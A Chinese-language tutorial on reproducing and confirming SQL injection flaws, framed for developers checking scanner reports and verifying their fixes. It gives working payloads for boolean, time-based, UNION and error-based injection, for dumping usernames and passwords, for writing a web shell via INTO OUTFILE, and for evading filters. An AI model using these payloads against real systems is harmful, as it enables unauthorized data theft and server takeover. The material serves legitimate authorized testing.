SQL注入漏洞的复现与验证,本质上是在受控环境中重建攻击路径,确认参数是否真的进入了SQL语句执行上下文。很多开发者拿到扫描器报告后直接修复,却无法判断漏洞是否真实存在、危害范围有多大,这导致修复后依然残留绕过点。复现不是简单跑一遍payload,而是需要从参数定位、上下文判断、语句构造、回显差异分析四个环节逐步推进。下面直接拆解具体操作流程和判断标准。

第一步:确认注入点与参数传递方式

先定位可能存在拼接的URL参数、表单字段、Cookie值或HTTP头。例如一个典型查询场景:

http://target.local/product.php?id=3

在浏览器或命令行中修改id值为非预期数据,观察响应差异。输入id=3',如果页面报错、返回空白、响应时间明显变长或内容结构变化,说明单引号可能破坏了原有SQL语法。这一步的核心是确认参数是否被直接拼接进查询语句。不要只测单引号,还要测双引号、反斜杠、括号闭合、数字与字符串混合场景。很多注入点对单引号过滤严格,但双引号或数字型参数完全未处理。

第二步:判断SQL上下文与闭合方式

参数可能出现在WHERE条件的字符串中、数字比较中、LIKE语句中、ORDER BY子句中,甚至表名字段名位置。不同上下文需要不同的闭合策略。例如参数在字符串中:

SELECT * FROM products WHERE name = '$input'

此时需要先用单引号闭合字符串,再用注释符处理尾部。测试payload:

' AND 1=1 -- 
' AND 1=2 -- 

如果1=1时页面正常、1=2时页面内容消失或异常,基本可以判定注入存在。若参数在数字位置:

SELECT * FROM products WHERE id = $input

则直接拼接逻辑测试即可,不需要引号闭合:

3 AND 1=1
3 AND 1=2

ORDER BY位置的注入不返回数据行差异,需要通过排序结果变化或时间延迟判断。例如:

id=3 ORDER BY 1
id=3 ORDER BY 9999

如果排序结果不同或后者报错,说明ORDER BY后可注入。

第三步:利用回显差异验证查询结构

布尔盲注是最可靠的验证方式之一。核心思路是构造两个逻辑完全相反的payload,观察页面是否出现可区分的状态。以MySQL为例,在确认闭合后使用:

' AND (SELECT 1)=1 -- 
' AND (SELECT 1)=2 -- 

如果两次请求返回内容明显不同,说明数据库执行了注入的SQL片段。更精确的做法是使用数据库版本函数:

' AND substring(version(),1,1)='5' -- 
' AND substring(version(),1,1)='8' -- 

根据目标数据库版本调整判断字符。这种方式能进一步确认注入深度,而不仅仅是语法报错。

第四步:联合查询验证列数与回显位置

当页面能显示数据库查询结果时,UNION SELECT是快速验证注入危害的首选。先确定原查询的列数:

' ORDER BY 10 -- 
' ORDER BY 5 -- 
' ORDER BY 7 -- 

通过二分法找到不报错的最大列数。假设列数为6,接着构造:

' UNION SELECT 1,2,3,4,5,6 -- 

页面若显示数字2、3等,说明对应列的回显位置可用。替换这些数字为数据库函数或表数据:

' UNION SELECT 1,database(),user(),4,5,6 -- 

如果页面直接显示数据库名和用户名,漏洞危害已经非常明确。注意不同数据库的UNION语法略有差异,Oracle需要FROM dual,SQL Server可直接SELECT常量。

第五步:时间盲注验证无回显场景

部分注入点既不报错也不显示数据差异,此时用时间延迟判断。MySQL常用:

' AND SLEEP(5) -- 

如果响应时间比正常请求多5秒左右,说明注入生效。PostgreSQL使用:

' AND pg_sleep(5) -- 

SQL Server使用:

' WAITFOR DELAY '0:0:5' -- 

时间盲注需要先测出正常请求的响应时间基线,再对比延迟请求。网络波动可能导致误判,建议重复测试三次以上,并设置明显大于基线的延迟秒数。

第六步:报错注入快速提取信息

当目标开启数据库错误回显时,报错注入比盲注高效得多。MySQL的经典报错payload:

' AND updatexml(1,concat(0x7e,database(),0x7e),1) -- 

页面若返回XPATH syntax error并附带数据库名,说明注入可用。其他数据库也有对应报错函数,例如PostgreSQL的CAST错误、SQL Server的CONVERT错误。报错注入的关键是观察错误信息中是否包含我们构造的查询结果,而不是仅仅出现语法错误。

第七步:验证数据提取能力与危害边界

确认注入存在后,需要验证能否读取敏感数据,这决定了漏洞等级。在MySQL中尝试读取表名:

' UNION SELECT 1,group_concat(table_name),3,4,5,6 FROM information_schema.tables WHERE table_schema=database() -- 

如果页面列出所有表名,说明可以继续读取列名和字段内容。读取用户表数据:

' UNION SELECT 1,group_concat(username,0x3a,password),3,4,5,6 FROM users -- 

这一步的目的是证明攻击者能获取核心业务数据,而不仅仅是数据库版本信息。同时测试是否具备写文件或执行命令能力,例如MySQL的INTO OUTFILE:

' UNION SELECT 1,'',3,4,5,6 INTO OUTFILE '/var/www/html/shell.php' -- 

如果写入成功,漏洞危害升级为RCE。但写入受文件权限和secure_file_priv限制,需实际测试确认。

第八步:绕过基础过滤的复现技巧

真实环境中常见过滤包括单引号转义、空格过滤、关键字屏蔽。单引号被转义时,若参数为数字型可完全绕过;若为字符串型,可尝试使用十六进制编码代替字符串:

SELECT * FROM users WHERE name = 0x61646d696e

空格被过滤时,使用注释符或括号代替:

'//AND//1=1//--
'AND(1=1)--

关键字被屏蔽时,尝试大小写混合、双写绕过或等价函数替换。例如屏蔽union,可尝试UNIunionON;屏蔽select,可尝试SeLeCt。这些绕过手段需要在复现时逐一验证,因为不同WAF或过滤规则的绕过方式差异很大。

第九步:记录复现过程与修复验证

复现完成后,需要整理完整的请求包、payload、响应差异截图和影响范围说明。修复后再用同一套payload回归测试,确认所有注入路径均已关闭。修复方式通常包括参数化查询、输入白名单校验、最小权限数据库账户、关闭不必要的报错回显。验证修复效果时,不仅要测试原始payload,还要测试编码绕过、注释绕过、大小写绕过等变体,防止只修复了表面语法。

SQL注入复现的核心价值在于准确判断漏洞的真实性和危害程度,避免盲目修复或忽略高风险点。整个验证过程必须基于合法授权的测试环境,每一步操作都应有明确记录。只有完整走完参数定位、上下文判断、闭合构造、回显分析、数据提取验证这几个环节,才能对漏洞有清晰完整的认知,也才能给出可靠的修复建议。